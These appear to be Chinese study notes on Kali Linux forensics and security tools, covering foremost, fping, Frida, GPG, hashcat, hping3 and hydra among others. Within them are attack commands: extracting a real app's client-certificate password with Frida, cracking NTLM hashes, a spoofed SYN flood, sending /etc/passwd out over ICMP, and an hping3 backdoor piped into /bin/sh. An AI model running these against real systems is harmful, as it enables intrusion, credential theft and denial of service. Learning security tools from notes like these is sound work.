foremost是一个控制台程序,用于根据页眉,页脚和内部数据结构恢复文件。Foremost可以处理图像文件,例如由dd,Safeback,Encase等生成的图像文件,或直接在驱动器上。页眉和页脚可以由配置文件指定,也可以使用命令行开关指定内置文件类型。这些内置类型查看给定文件格式的数据结构,从而实现更可靠,更快速的恢复。在数字取证中和CTF中常用来恢复、分离文件。它默认支持19种类型文件(jpg, gif, png, bmp, avi, exe, mpg, mp4, wav, riff, wmv, mov, pdf, ole, doc, zip, rar, html, cpp 等文件)的扫描识别恢复,还可以通过(通过配置它的配置文件foremost.conf)增加新的支持类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c:\> foremost [-v|-V|-h|-T|-Q|-q|-a|-w-d] [-t <type>] [-s <blocks>] [-k <size>]
[-b <size>] [-c <file>] [-o <dir>] [-i <file]

-V - 显示版权信息并退出
-t - 指定文件类型. (-t jpeg,pdf ...)
-d - 打开间接块检测 (针对UNIX文件系统)
-i - 指定输入文件 (默认为标准输入)
-a - 写入所有的文件头部, 不执行错误检测(损坏文件)
-w - 向磁盘写入审计文件,不写入任何检测到的文件
-o - 设置输出目录 (默认为./output)
-c - 设置配置文件 (默认为foremost.conf)
-q - 启用快速模式. 在512字节边界执行搜索.
-Q - 启用安静模式. 禁用输出消息.
-v - 详细模式. 向屏幕上记录所有消息。

实例:

可以参考https://blog.csdn.net/john_david_/article/details/87273152

fping

Fping程序类似于ping(ping是通过ICMP(网络控制信息协议InternetControl Message Protocol)协议回复请求以检测主机是否存在)。Fping与ping不同的地方在于,fping可以在命令行中指定要ping的主机数量范围,也可以指定含有要ping的主机列表文件。

与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping。如果某一主机ping通,则此主机将被打上标记,并从等待列表中移除,如果没ping通,说明主机无法到达,主机仍然留在等待列表中,等待后续操作。

Fping类似于ping,但比ping强大。Fping与ping不同的地方在于,fping可以在命令行中指定要ping的主机数量范围,也可以指定含有要ping的主机列表文件。
与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping。如果某一主机ping通,则此主机将被打上标记,并从等待列表中移除,如果没ping通,说明主机无法到达,主机仍然留在等待列表中,等待后续操作。

fping工具的参数说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
-a
Lists targets that responded
显示可ping通的目标

-A
Lists targets by address instead of hostname
将目标以ip地址的形式显示

-b <num>
Sends <num> bytes of data per ICMP packet (default 56)
ping 数据包的大小。(默认为56)

-B <f>
Tells fping to wait <f> times longer for a reply after each successive failed request (default 1.5)
设置指数反馈因子到f

-c <num>
Number of Pings to send to each target (default 1)
ping每个目标的次数 (默认为1)

-C <num>
Same as above but prints additional statistics for each host
同-c,返回的结果为冗长格式

-e
Displays elapsed time on return packets
显示返回数据包所费时间

-f <file>
Reads the target list from <file> (use "-" for standard input) (only if no -g specified)
从文件获取目标列表( - 表示从标准输入)(不能与 -g 同时使用)

-g
Tells fping to generate a target list by specifying the start and end address (ex. ./fping -g 192.168.1.0 192.168.1.255) or an IP/subnet mask (ex. ./fping -g 192.168.1.0/24)
通过指定开始和结束地址来生成目标列表(例如:./fping –g 192.168.1.0 192.168.1.255)或者一个IP/掩码形式(例如:./fping –g 192.168.1.0/24)

-i <num>
Interval (in milliseconds) to wait between Pings (default 25)
设置ip的TTL值 (生存时间)

-l
Sends Pings forever
循环发送ping

-m
Pings multiple interfaces on target host
ping目标主机的多个网口

-n
Displays targets by name (-d is equivalent)
将目标以主机名或域名显示(等价于 -d )

-p <num>
Interval (in milliseconds) between Pings to an individual target (in looping and counting modes, default 1000)
对同一个目标的ping包间隔(毫秒) (在循环和统计模式中,默认为1000)

-q
Doesn't show per-target/per-Ping results
安静模式(不显示每个目标或每个ping的结果)

-Q <num>
Same as -q, but show summary every <num> seconds
同-q, 但是每n秒显示信息概要

-r <num>
When a host doesn't respond, retries the host <num> times (default 3)
当ping失败时,最大重试次数(默认为3次)

-s
Displays summary statistics
打印最后的统计数据

-t <num>
Timeout (in milliseconds) for individual targets (default 500)
单个目标的超时时间(毫秒)(默认500)

-u
Displays targets that are unreachable
显示不可到达的目标

-v
Displays version number
显示版本号

实例:

image-20220411201755388

fsstat

描述:

显示文件系统的一般详细信息。
  sstat显示与文件系统关联的详细信息。 该命令的输出是文件系统特定的。 至少要给出元数据值(索引节点号)和内容单元(块或簇)的范围。 还给出了超级块的详细信息,例如安装时间和功能。 对于使用组(FFS和EXT2FS)的文件系统,列出了每个组的布局。
对于FAT文件系统,FAT表以压缩格式显示。 请注意,数据位于扇区而不是簇中。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-t type
仅打印文件系统类型。

-f fstype
指定文件系统类型。 使用“ -f列表”列出支持的文件系统类型。 如果未给出,则使用自动检测方法。

-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-o imgoffset
文件系统在映像中开始的扇区偏移量。

-b dev_sector_size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

-v
将调试语句的详细输出输出到stderr

-V
打印版本信息

image-20220411203307255

仅仅支持磁盘文件

frida

Frida自吐证书密码

原创 tale Tide安全团队 2022-04-27 17:03

图片

双向认证APP自吐密码

在许多业务非常聚焦比如行业应用、银行、公共交通、游戏等行业,C/S架构中服务器高度集中,对应用的版本控制非常严格,这时候就会在服务器上部署对app内置证书的校验代码。
抓包出现如下提示时,我们确定出此APP为服务器校验app客户端证书

图片
对于此类APP抓包而言通常需要完成两项内容:

1
找到证书文件找到证书密码

服务器对客户端进行校验过程中,客户端将证书公钥发送给服务器,以及从服务器获取session和私钥解密过程中,需要API进行操作,API存在于java层框架内,所以hook框架层代码java.security.KeyStore,使密码自吐

-

1
# frida -U -f cn.soulapp.android -l ssl.js  --no-pause

图片

密码}%2R+\OSsjpP!w%X
然后首先使用常规方式解压搜索app包里的证书文件。一般apk进行解包,直接过滤搜索后缀名为p12的文件即可,一般常用的命令为tree -NCfhl |grep -i p12,直接打印出p12文件的路径.

图片

如果在安装包内找不到证书的话,也可以进行hookjava.io.Fil

-

1
# android hooking watch class_method java.io.File.$init

图片

通过hook也可以找到该证书文件。

-

1
# objection -g cn.soulapp.android explore --startup-command "android hooking watch class_method java.io.File.$init  --dump-args"

使用抓包工具点击导入证书

图片

密码随意设置

然后进去之后导入p12证书和密码(自吐出的密码),host和port输入*

图片

可以看到可以成功抓到了数据包

图片

hook抓包

1、首先确定使用的框架,主流框架okhttp、HttpURLconnection
使用objection打印内存中所有的类

1
# android hooking list classes

然后搜索过滤类文件中值得怀疑的框架

1
.objection # cat objection.log |grep -i volley.objection # cat objection.log |grep -i okhttp.objection # cat objection.log |grep -i

图片
图片
图片

找到APP使用的框架后,最后通过frida加载js脚本来进行绕过。

ZenTracer

批量hook查看调用轨迹的工具ZenTracer

1
# git clone https://github.com/hluwa/ZenTracer

点击Action之后,会出现匹配模板(Match RegEx)和过滤模板(Black RegEx),将M:java.net.HttpURLConnection填入后会将该类的所有方法进行hook并运行

图片

同时手机点击登录、注册等功能模块时,发现经过了该方法

java.net.HttpURLConnection.getFollowRedirects()

图片

然后使用objectionhook该方法

-

1
# android hooking watch class_method java.net.HttpURLConnection.getFollowRedirects --dump-args --dump-return --dump-backtrace

图片

根据打印出的

1
com.cz.babySister.c.a.a(HttpClients.java:22)

直接定位到了收发包函数的地址,然后查看收发包的内容如下:

-

1
# android hooking watch class_method com.cz.babySister.c.a.a --dump-args --dump-backtrace --dump-return

图片

强混淆APP

使用工具OkHttpLogger-Frida
1、首先将okhttpfind.dex 拷贝到手机 /data/local/tmp/目录下

-

1
# adb push okhttpfind.dex /data/local/tmp/# chmod 777 *

2、执行命令启动frida -U -l okhttp_poker.js -f com.example.demo –no-pause 可追加 -o [output filepath]保存到文件

-

1
# frida -U -l okhttp_poker.js -f org.sfjboldyvukzzlpp --no-pause

图片

然后复制被混淆后的类名,粘贴到okhttp_poker.js文件中,重新运行后运行hold()开启hook拦截,然后操作App后,会出现拦截的内容如下

-

1
# nano okhttp_poker.js

图片

当然除了ZenTracer,也可以直接使用objection工具进行批量hook,
首先将怀疑的类复制保存到文件中,并在保存内容前加上android hooking watch class

-

1
# android hooking list classes# objection -g com.cz.babySister explore -c "/root/Desktop/2.txt"
1
参考资料https://www.anquanke.com/post/id/197657https://bbs.pediy.com/thread-258776.html

G

GParted

磁盘扩展⼯具

GParted (Gnome Partition Editor)是一种非常小巧自启动运行光盘,采用X.org,轻量级的Fluxbox窗口管理器,以及最新的2.6 Linux内核建构。其中包含的GParted硬盘分区工具,作为系统维护盘非常有用。

image-20220411203443919

image-20220411203543074

image-20220411203624791

还能进行数据恢复和分区

guymager

在数字取证中,经常需要对磁盘制作镜像,以便于后期分析。Kali Linux提供一款轻量级的磁盘镜像工具Guymager。该工具采用图形界面化方式,提供磁盘镜像和磁盘克隆功能。它不仅生成dd的镜像,还能生成EWF和AFF镜像。在生成过程中,渗透测试人员不仅可以采用两次读操作验证数据的正确性,还可以对镜像文件进行额外的校验。由于采用多线和多处理机技术,该工具可以极大提升读取和压缩速度。

在生成一个磁盘的镜像并将其通过网络存放在另一台电脑的过程中,你仅仅需要两个工具:通用的 GNU/Linux 工具 dd/dcfldd。

guymager 是将 dd 与 dcfldd 命令转换为图形化接口,方便取证人员及事件恢复人员建立镜像,但其只支持 Linux 系统;使用者可选择利用
dd 或是 dcfldd 來制作镜像、可透过 MD5 或是 SHA-1 來验证镜像、镜像可利用 gzip/bzip2 进行压缩等。

image-20220411205131061

GPG

GPG简介

GPG代表GNU Private Guard,它是一个命令行实用程序,用于使用对称或公钥加密对数据文件或文件夹进行加密和解密。 GPG是GPGP授权替代PGP加密软件套件。 GPG也由OpenPGP编译系统使用。

加密使用对称密钥

这里我有一个名为“test.txt”的文件,我将加密然后用对称密钥解密,并将解密的文本打印到另一个名为“output.txt”的文件中

运行以下命令使用对称密钥加密文件test.txt。 选项“-c”表示GPG使用对称密钥。

image-20220408134032586

因此,一旦密码输入正确,就会创建一个名为“test.txt.gpg”的文件。 这是加密文件。 以下图像显示加密前后的文件。您可以看到加密的文本是不可读的格式。

image-20220408134127120

image-20220408134157076

注意:原来那个txt还是可读的

使用以下命令解密加密文件

image-20220408134541968

如果是当前用户的话都不需要输入密码

公钥加密

在这里,我们将使用GPG的公钥/私钥加密机制加密一组文件。 它涉及创建一个不应与任何人共享的私钥,以及必须与要向您发送加密数据的用户共享的公钥。

首先,我们必须将文件打包成压缩文件夹。 这里我有一个名为“enctest”的目录,其中有三个文件test1.txt到test3.txt。我们将压缩此目录tar.gz文件。 我将使用以下命令创建压缩的tar.gz存档:

image-20220408134732645

image-20220408135413471

这将创建一个文件“files.tar.gz”。 我们现在必须生成公钥/私钥对。 运行以下命令生成密钥:

image-20220408135613704

跟详细的设置私钥

image-20220408140049158

记住,这只需要完成一次,任何数量的文件和文件夹都可以使用此密钥进行加密。 一旦你键入这个命令,将会询问各种各样的问题。 问题将是:

  • 什么样的加密使用? 我选择1是RSA和RSA。
  • 什么是关键尺寸? 我选择2048,你可以选择1024和4096范围内的任意大小。
  • 钥匙什么时候过期? 我选择了0,这意味着密钥永远不会过期。 但如果您希望在特定的时间过期,可以提供数天,数周或数年。

将会询问其他类似密码的内容,您将被提示输入两次。 确保你使用强大的,并记住密码。 此外,您的凭据也将被使用。 我在这里使用的凭据(如下所示)仅用于测试。 建议您使用您的真实凭据,如姓名,电子邮件ID,并提供一些评论。

一旦你输入密码,它就开始生成密钥。 它会要求你做一些工作。 建议移动鼠标或键入某些东西或使用驱动器打开一些文件。 它将使用此工作来生成随机位。 您可能需要多次执行此操作。 我的输出如下所示:

image-20220408140254614

这里有两个重要的事情:提供强大的密码,并确保记住你的密码

现在生成密钥,我们现在必须导出公用密钥文件,以便在其他系统上导入,或通过电子邮件发送。 要启动导出,请使用以下命令:

image-20220408140616711

还建议备份私钥。 我们可以使用gpg来做到这一点。 要进行备份,请使用以下命令:

1
gpg --armor --output file-enc-privkey.asc --export-secret-keys 'cdxiaodong'

这里的文件“file-enc-privkey.asc”将安全地保存私钥的备份。 一旦导出和密钥备份完成,我们现在可以加密和解密.tar.gz文件。 使用以下命令加密:

image-20220408140912195

记住在上述命令中将“cdxiaodong”更改为在密钥生成期间给出的名称,否则加密将失败。 当命令成功运行时,将创建一个名为“files.tar.gz.gpg”的加密文件。

现在我们可以使用以下命令解密tar.gz存档。 它将使用私钥和密码来解密并提供解密的文件夹。 使用以下命令解密:

1
gpg --output output.tar.gz --decrypt files.tar.gz.gpg

image-20220408141130850

上述命令将要求密码,然后解密加密的文件,并创建一个名为“output.tar.gz”的压缩文件,然后可以使用tar将其解压缩到文件夹以获取文件。

H

Hardware Locality lstopo

  • 硬件局部性lstopo

image-20220411205509108

我也不知道这个东西是干啥的

hashcat

HashCat系列软件在硬件上支持使用CPU、NVIDIA GPU、ATI GPU来进行密码破解。在操作系统上支持Windows、Linux平台,并且需要安装官方指定版本的显卡驱动程序,如果驱动程序版本不对,可能导致程序无法运行。

HashCat主要分为三个版本:Hashcat、oclHashcat-plus、oclHashcat-lite。这三个版本的主要区别是:HashCat只支持CPU破解。oclHashcat-plus支持使用GPU破解多个HASH,并且支持的算法高达77种。oclHashcat-lite只支持使用GPU对单个HASH进行破解,支持的HASH种类仅有32种,但是对算法进行了优化,可以达到GPU破解的最高速度。如果只有单个密文进行破解的话,推荐使用oclHashCat-lite。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-m   指定哈希类型
-a 指定攻击模式,有5中模式
0 Straight(字典破解)
1 Combination(组合破解)
3 Brute-force(掩码暴力破解)
6 Hybrid dict + mask(混合字典+掩码)
7 Hybrid mask + dict(混合掩码+字典)
-o 输出文件
-stdout 指定基础文件
-r 指定规则文件
--force 强制进行破解
--show 显示破解结果

-V 打印出版本
-h 查看帮助

-m 参数的一些哈希类型.

image-20220411205922329

使用Hashcat生成字典

rules目录下存放着生成字典的各种规则

我们在当前目录下将基础信息保存在 base.txt文件中,–stdout 指定基础信息文件,-r 指定规则文件,-o输出成文件。

输出成test.txt文件

1
hashcat64.exe --stdout base.txt -r rules\dive.rule -o test.txt

使用Hashcat破解LM Hash和NTLM Hash

root对应的LM和NLM哈希如下

image-20220411210003921

破解LM Hash

LM Hash的模式是3000

1
hashcat64.exe -m 3000 d480ea9533c500d4aad3b435b51404ee pass.txt --force

爆破完成后,可以使用 –show 参数查看结果 ,但是要注意爆破LM Hash的结果默认会大写

img

破解NTLM Hash

NTLM Hash的模式是1000

1
hashcat64.exe -m 1000 329153f560eb329c0e1deea55e88a1e9 pass.txt --force

爆破完成后,可以使用 –show 参数查看结果

img

使用Hashcat破解Net-NTLMHash

1
hashcat64.exe -m 5600 xie::WIN7:77effc5381037df8:b6b777ced0128e3f587fe08b98853e13:010100

image-20220411210036490

image-20220411210043781

hashid

描述:

识别用于加密数据的不同类型的哈希。
  hashID是用Python 3.x编写的工具,它支持使用正则表达式识别超过210种唯一的哈希类型。
  它能够识别单个散列、解析文件或读取目录中的文件并识别其中的散列。hashID还能够在其输出中包含相应的hashcat模式和/或JohnTheRipper格式。尽管hashID是用Python 3编写的。但它也应该适用于Python 2.7。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-e,--extended
列出所有可能的散列算法,包括加密密码

-m,--mode
在输出中包括相应的hashcat模式

-j,--john
在输出中包括相应的JohnTheRipper格式

-o FILE,--outfile FILE
将输出写入文件(默认值:STDOUT)

-h,--help
显示帮助信息并退出

--version
显示程序的版本信息并退出

image-20220411224516494

hash-identifier

在测试过程中我们经常会遇到一些哈希值需用通过hashcat进行解密,但是在使用hashcat解密是需要指定使用的加密算法,如何确认加密算法是一个比较棘手的问题。
hash-identifier工具可以通过密文识别加密算法,工具可在github下载,kali系统默认安装了该工具,工具运行如下:

image-20220411224224155

分析密文方式如下:

1
a3090f99d2ce0958fa0939e99861203510fe54958a937abaa0bae06d

image-20220411224309195

1
4194d1706ed1f408d5e02d672777019f4d5385c766a8c6ca8acba3167d36a7b9

image-20220411224344040

1
230eb00c8b4bc080ccdf6e7da3075aff

image-20220411224414682

hfind(未完成)

描述:

在哈希数据库中查找哈希值。
  hfind使用二进制搜索算法在数据库中查找哈希值。 这样一来,您就可以轻松创建哈希数据库,并确定文件是否已知。 它可以与NIST国家软件参考库(NSRL)和“ md5sum”的输出一起使用。
  在“ hfind”可以使用数据库之前,必须使用“ -i”选项创建索引文件。
  需要此工具以提高效率。 大多数基于文本的数据库没有固定长度的条目,有时不进行排序。 hfind工具将创建一个已排序并具有固定长度条目的索引文件,这允许使用二进制搜索算法而不是线性搜索(例如’grep’)进行快速查找。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-i db_type
为数据库创建索引文件。 必须先执行此步骤,然后才能执行查找。 'db_type'参数指定数据库类型(即nsrl-md5或md5sum)。 请参阅以下部分。

-f lookup_file
指定每行包含一个哈希值的文件的位置。 这些哈希将在数据库中查找。

-e
扩展模式。 除了名称之外,还会打印其他信息。 (并不适用于所有哈希数据库类型)。

-q
快速模式。 如果没有找到哈希,则显示0,否则显示1,而不是显示带有哈希的相应信息。 如果使用此标志,则一次只能给出一个散列。

-V
显示版本信息

db_file
哈希数据库文件的位置。

[hashes]
查找的哈希值。 如果命令行上未提供它们,则使用STDIN。 如果SHA-1和MD5哈希都存在索引文件,则可以在运行时给出两种类型的哈希。

INDEX FILE
hfind使用索引文件对哈希值执行二进制搜索,这比使用'grep'进行线性搜索要快得多,后者将执行线性搜索。在使用哈希数据库之前,必须创建相应的索引文件。 这可以通过hfind的“ -i”选项来完成。
生成的索引文件将根据数据库文件名命名。该名称将包含原始名称、哈希类型(sha1或md5)和'.idx'。例如,创建NIST NSRL的MD5哈希索引会得到'NSRLFile.txt-md5。和SHA-1索引的结果是'NSRLFile.txt-sha1.idx'。
该文件有两列。 每个条目均按第一列(即哈希值)排序。 第二列具有原始文件中相应条目的字节偏移。 因此,当在索引中找到散列时,将记录偏移量,然后“ hfind”将查找原始数据库中的条目。
以下输入类型是有效的。对于NSRL,可以使用' NSRL -md5'和' NSRL -sha1'。区别在于索引是根据哪个哈希值排序的。“md5sum”值还可以用于对“自制”数据库进行排序和索引。“hfind”可以采用两种常见格式的数据:
MD5 (test.txt) = 76b1f4de1522c20b67acc132937cf82e
and
76b1f4de1522c20b67acc132937cf82e test.txt

hping3

1.hping3

hping 是面向命令行的用于生成和解析TCP/IP协议数据包汇编分析的开源工具。

目前最新版是hping3,它支持TCP,UDP,ICMP,和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能.

hping3是安全审计,防火墙测试等工作的标配工具,haping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机经行细致的探测.

2.hping3用法

格式:

1
hping3 host [options]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-h	–help	显示帮助
-v –version 显示版本
-c –count 发送数据包的数目
-i –interval 发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
–fast 等同 -i u10000 (每秒10个包)
–faster 等同 -i u1000 (每秒100个包)
–flood 尽最快发送数据包,不显示回复。
-n –numeric 数字化输出,象征性输出主机地址。
-q –quiet 安静模式
-I –interface 网卡接口 (默认路由接口)
-V –verbose 详细模式
-D –debug 调试信息
-z –bind 绑定ctrl+z到ttl(默认为目的端口)
-Z –unbind 取消绑定ctrl+z键
–beep 对于接收到的每个匹配数据包蜂鸣声提示

3.模式选择

1
2
3
4
5
6
7
编号	模式	描述
default mode TCP 默认模式是 TCP
-0 或 --rawip RAWIP模式,原始IP模式 在此模式下HPING会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式。
-1 或 --icmp ICMP模式 此模式下HPING会发送IGMP应答报,你可以用–ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 或 --udp UDP 模式 缺省下,HPING会发送UDP报文到主机的0端口,你可以用–baseport --destport --keep选项指定其模式。
-8 或 --scan SCAN mode 扫描模式 指定扫描对应的端口。Example: hping --scan 1-30,70-90 -S www.target.host // 扫描
-9 或 --listen listen mode 监听模式

4. IP 模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
参数缩写	参数	描述
-a –spoof spoof source address //源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
–rand-dest random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
–rand-source random source address mode. see the man. // 随机源地址模式。详细使用 man 命令
-t –ttl ttl (默认 64) //修改 ttl 值
-N –id id (默认 随机) // hping 中的 ID 值,缺省为随机值
-W –winid 使用win* id字节顺序 //使用winid模式,针对不同的操作系统。UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r –rel 相对id字段(估计主机流量) //更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-f –frag 拆分数据包更多的frag. (may pass weak acl) //分段,可以测试对方或者交换机碎片处理能力,缺省16字节。
-x –morefrag 设置更多的分段标志 // 大量碎片,泪滴攻击。
-y –dontfrag 设置不分段标志 // 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-g –fragoff set the fragment offset // 设置断偏移。
-m –mtu 设置虚拟最大传输单元, implies --frag if packet size > mtu // 设置虚拟MTU值,当大于mtu的时候分段。
-o –tos type of service (default 0x00), try --tos help // tos字段,缺省0x00,尽力而为?
-G –rroute includes RECORD_ROUTE option and display the route buffer // 记录IP路由,并显示路由缓冲。
–lsrr 松散源路由并记录路由 // 松散源路由
–ssrr 严格源路由并记录路由 // 严格源路由
-H –ipproto 设置IP协议字段,仅在RAW IP模式下使用 //在RAW IP模式里选择IP协议。设置ip协议域,仅在RAW ip模式使用。

5. ICMP 模式

1
2
3
4
5
6
7
8
参数缩写	参数	描述
-C –icmptype icmp类型(默认echo请求) // ICMP类型,缺省回显请求。
-K –icmpcode icmp代号(默认0) // ICMP代码。
–force-icmp 发送所有icmp类型(默认仅发送支持的类型) // 强制ICMP类型。
–icmp-gw 设置ICMP重定向网关地址(默认0.0.0.0) // ICMP重定向
–icmp-ts 等同 --icmp --icmptype 13 (ICMP 时间戳) // icmp时间戳
–icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址子网掩码) // icmp子网地址
–icmp-help 显示其他icmp选项帮助 // ICMP帮助

6. UDP/TCP 模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
参数缩写	参数	描述
-s –baseport base source port (default random) // 缺省随机源端口
-p –destport [+][+] destination port(default 0) ctrl+z inc/dec // 缺省随机源端口
-k –keep keep still source port // 保持源端口
-w –win winsize (default 64) // win的滑动窗口。windows发送字节(默认64)
-O –tcpoff set fake tcp data offset (instead of tcphdrlen / 4) // 设置伪造tcp数据偏移量(取代tcp地址长度除4)
-Q –seqnum shows only tcp sequence number // 仅显示tcp序列号
-b –badcksum (尝试)发送具有错误IP校验和数据包。许多系统将修复发送数据包的IP校验和。所以你会得到错误UDP/TCP校验和。
-M –setseq 设置TCP序列号
-L –setack 设置TCP的ack ------------------------------------- (不是 TCP 的 ACK 标志位)
-F –fin set FIN flag
-S –syn set SYN flag
-R –rst set RST flag
-P –push set PUSH flag
-A –ack set ACK flag ------------------------------------- (设置 TCP 的 ACK 标志 位)
-U –urg set URG flag // 一大堆IP抱头的设置。
-X –xmas set X unused flag (0x40)
-Y –ymas set Y unused flag (0x80)
–tcpexitcode 使用last tcp-> th_flags作为退出码
–tcp-mss 启用具有给定值的TCP MSS选项
–tcp-timestamp 启用TCP时间戳选项来猜测HZ/uptime

7.Common //通用设置

1
2
3
4
5
6
7
8
9
10
11
12
13
参数缩写	参数	描述
-d –data data size (default is 0) // 发送数据包大小,缺省是0
-E –file 文件数据
-e –sign 添加“签名”
-j –dump 转储为十六进制数据包
-J –print 转储为可打印字符
-B –safe 启用“安全”协议
-u –end 告诉你什么时候–file达到EOF并防止倒回
-T –traceroute traceroute模式(等同使用 --bind 且–ttl 1)
–tr-stop 在traceroute模式下收到第一个不是ICMP时退出
–tr-keep-ttl 保持源TTL固定,仅用于监视一跳
–tr-no-rtt 不要在跟踪路由模式下计算/显示RTT信息 ARS包描述(新增功能,不稳定)ARS packet description (new, unstable)
–apd-send 发送APD描述数据包(参见docs / APD.txt)

8. Hping3 功能

8.1 防火墙测试

使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html

测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

8.2 端口扫描

Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:

hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。

hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。
image-20220411230941403

8.3 Idle扫描

Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。

该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

8.4 拒绝服务攻击

使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻击如smurf、teardrop、land attack等也很容易构建出来。

8.5 文件传输

Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:

hping3 192.168.1.159–listen signature –safe –icmp
监听ICMP包中的签名,根据签名解析出文件内容。

在发送端使用签名打包的ICMP包发送文件:

hping3 192.168.1.108–icmp ?d 100 –sign signature –file /etc/passwd
将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

8.6 木马功能

如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。

示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

在木马启动端:

hping3 192.168.10.66–listen signature –safe –udp -p 53 | /bin/sh
在远程控制端:

echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 –udp –sign siganature –file ./test.cmd
将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。

9. 端口扫描测试

实验靶机:

1
2
3
Windows7   IP: 192.168.214.132

Metasploitable IP: 192.168.214.133

在Kali端输入命令:

1
sudo hping3 -I eth0 -S 192.168.214.133 -p 80

image-20220411231442454

说明通信成功,80端口已开启

hydra

一、hydra简介

Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。

目前该工具支持以下协议的爆破:

1
2
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。
对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等

二、hydra使用方法

1
语法:Hydra 参数 IP 服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
参数:
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
